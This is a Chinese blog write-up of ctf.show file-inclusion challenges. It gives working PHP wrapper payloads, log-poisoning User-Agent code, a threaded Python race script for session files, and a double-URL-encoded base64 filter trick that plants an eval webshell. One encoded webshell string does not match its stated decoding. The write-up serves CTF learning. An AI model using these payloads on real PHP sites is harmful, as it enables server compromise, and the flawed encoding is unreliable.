

# CTF文件包含

原创

[Skn1fe](#) 于 2021-02-28 21:11:30 发布 641 收藏

文章标签: [运维](#) [安全](#) [信息安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_45086218/article/details/114188610](https://blog.csdn.net/qq_45086218/article/details/114188610)

版权

## 文章目录

[php伪协议](#)

[data伪协议](#)

[日志文件](#)

[session文件竞争](#)

[死亡绕过](#)

[base64编码绕过](#)

本文以ctf.show网站题目为例, 总结ctf中的文件包含漏洞

## php伪协议

```
?file=php://filter/convert.base64-encode/resource=flag.php
```

## data伪协议

```
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
```

```
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ==> <?php system('cat flag.php');
```

## 日志文件

日志文件路径: ?file=/var/log/nginx/access.log

apache2: /var/log/apache2/access.log

直接访问会显示User-Agent的信息:

**Request**

Raw Params Headers Hex

```
GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: 7620c522-e6e8-49bb-a7c5-3c1638ace224.chall.ctf.show:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Edg/88.0.705.74
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
```

**Response**

Raw Headers Hex Render

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Sat, 27 Feb 2021 12:44:05 GMT
Server: nginx/1.16.1
X-Powered-By: PHP/7.3.11
Connection: close
Content-Length: 511

172.12.0.60 - - [27/Feb/2021:12:33:17 +0000] "GET / HTTP/1.1" 200 2291
"http://7620c522-e6e8-49bb-a7c5-3c1638ace224.chall.ctf.show:8080/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Edg/88.0.705.74"
172.12.0.60 - - [27/Feb/2021:12:36:12 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 284 "-"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Edg/88.0.705.74"
```

写入php文件, 进行getshell

User-Agent: <?php system("cat f10g.php"); ?>

注意: 访问日志文件只会显示前几次访问情况, 要查看当前访问情况需要再一次访问

## session文件竞争

[https://blog.csdn.net/weixin\\_45669205/article/details/113709363](https://blog.csdn.net/weixin_45669205/article/details/113709363)

原理:

1. session文件的命名格式是:  
sess\_[PHPSESSID的值]
2. session文件默认路径  
linux: /tmp 或 /var/lib/php/session  
Windows: C:\WINDOWS\Temp
3. session.use\_strict\_mode默认值为0, 此时用户是可以自己定义Session ID  
比如, 我们在Cookie里设置PHPSESSID=flag, PHP将会在服务器上创建一个文件: /tmp/sess\_flag
4. 在默认情况下, session.upload\_progress.cleanup是开启的, 一旦读取了所有POST数据, 它就会清除进度信息 (利用条件竞争应付这种情况)

```
<!DOCTYPE html>
<html>
<body>
<form action="http://1d293ab7-c661-4845-9ead-8ed9e8each82.chall.ctf.show:8080/" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
  <input type="file" name="file" />
  <input type="submit" value="submit" />
</form>
</body>
</html>
```

Attack type: Sniper

```
POST / HTTP/1.1
Host: 1d293ab7-c661-4845-9ead-8ed9e8eacb82.chall.ctf.show:8080
Content-Length: 305
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWIBqS8rHRYAvn2I9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Edg/88.0.705.74
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=flag
Connection: close

-----WebKitFormBoundaryWIBqS8rHRYAvn2I9
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

$123${?php system('ls');?>
-----WebKitFormBoundaryWIBqS8rHRYAvn2I9
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream

-----WebKitFormBoundaryWIBqS8rHRYAvn2I9--
```

[https://blog.csdn.net/qq\\_45086218](https://blog.csdn.net/qq_45086218)

添加一个Cookie: PHPSESSID=flag

并在PHP\_SESSION\_UPLOAD\_PROGRESS下添加一句话木马

PHP将会在服务器上创建一个会话文件: /tmp/sess\_flag (这里我们猜测session文件默认存储位置为/tmp)

在题目页面进行?file=/tmp/sess\_flag传参并抓包

Attack type: Sniper

```
GET /?file=/tmp/sess_flag HTTP/1.1
Host: 1d293ab7-c661-4845-9ead-8ed9e8eacb82.chall.ctf.show:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Edg/88.0.705.74
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1d293ab7-c661-4845-9ead-8ed9e8eacb82.chall.ctf.show:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

a=${1$}
```

[https://blog.csdn.net/qq\\_45086218](https://blog.csdn.net/qq_45086218)

两边同时爆破, 触发竞争

Request	Payload	Status	Error	Timeout	Length	Comment
487	486	502			711	
587	586	502			711	
1304	1303	502			711	
1031	1030	200			516	
1143	1142	200			516	
1281	1280	200			516	
169	168	200			515	
342	341	200			515	
371	370	200			515	
424	423	200			515	

Request	Payload	Status	Error	Timeout	Length	Comment
0		200			3364	
1	0	200			3364	
2	1	200			3364	
3	2	200			3364	
4	3	200			3364	
5	4	200			3364	
6	5	200			3364	
7	6	200			3364	
8	7	200			3364	
9	8	200			3364	



```

# -*- coding: utf-8 -*-
# @author: Lonmar
import io
import requests
import threading

sessID = 'flag'
url = 'http://167fff40-d240-4032-b724-1da8660ec305.chall.ctf.show:8080/'

def write(session):
    while event.isSet():
        f = io.BytesIO(b'a' * 1024 * 50)
        response = session.post(
            url,
            cookies={'PHPSESSID': sessID},
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
            files={'file': ('test.txt', f)}
        )

def read(session):
    while event.isSet():
        response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
        if 'test' in response.text:
            print(response.text)
            event.clear()
        else:
            print('[*]retrying...')

if __name__ == '__main__':
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()

```

## 死亡绕过

<https://xz.aliyun.com/t/8163#toc-3>

<https://www.leavesongs.com/PENETRATION/php-filter-magic.html>

```
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
```

因为存在die()或exit(), 导致即使我们成功写入一句话, 也执行不了。

## base64编码绕过

利用base64解码, 将死亡代码解码成乱码, 使得php引擎无法识别

先用伪协议准备好写入的文件1.php

```
php://filter/write=convert.base64-decode/resource=1.php
```

因为存在 `urldecode($file)` 所以需要url双编码:

```
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
```

POST木马:

```
<?php eval($_POST[cmd]); ?>//PD9waHAgaXZhbCgkX1BPU1RbY21kXSsk7ICA/Pg==
```

因为base64算法解码时是4个byte一组,所以给他增加2个"a"一共8个字符。这样,"phpdieaa"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php die; ?>没有了。

如果是phpexit就只要增加1个a

The screenshot shows a web proxy tool interface. At the top is a text input field. Below it are three buttons: "Load URL", "Split URL", and "Execute". To the right of these buttons is a text area containing a Base64-encoded payload: `%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30`. Below the text area are checkboxes for "Post data" (checked), "Referer", and "User Agent", and a "Cookies" checkbox. There are also buttons for "Add Header" and "Clear All". At the bottom, a text input field contains the decoded payload: `content=aaPD9waHAgaXZhbCgkX1BPU1RbY21kXSsk7ICA/Pg==5086218`.

访问1.php即可

The screenshot shows the same web proxy tool interface. The "Load URL" button is selected. The text area contains the URL: `http://8840d476-0287-436b-a26a-4a54669c1984.chall.ctf.show:8080/1.php`. The "Post data" checkbox is checked. The "Cookies" checkbox is unchecked. The "Add Header" and "Clear All" buttons are visible. At the bottom, a text input field contains the command: `cmd=system('cat f10g.php');`. A watermark URL `https://blog.csdn.net/qq_45086218` is visible in the background.